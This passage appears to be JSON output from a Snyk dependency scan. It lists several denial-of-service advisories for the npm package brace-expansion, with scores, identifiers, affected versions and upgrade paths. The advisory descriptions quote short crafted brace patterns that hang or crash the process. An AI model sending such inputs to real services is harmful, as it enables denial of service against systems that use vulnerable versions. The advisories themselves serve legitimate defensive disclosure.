"format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], 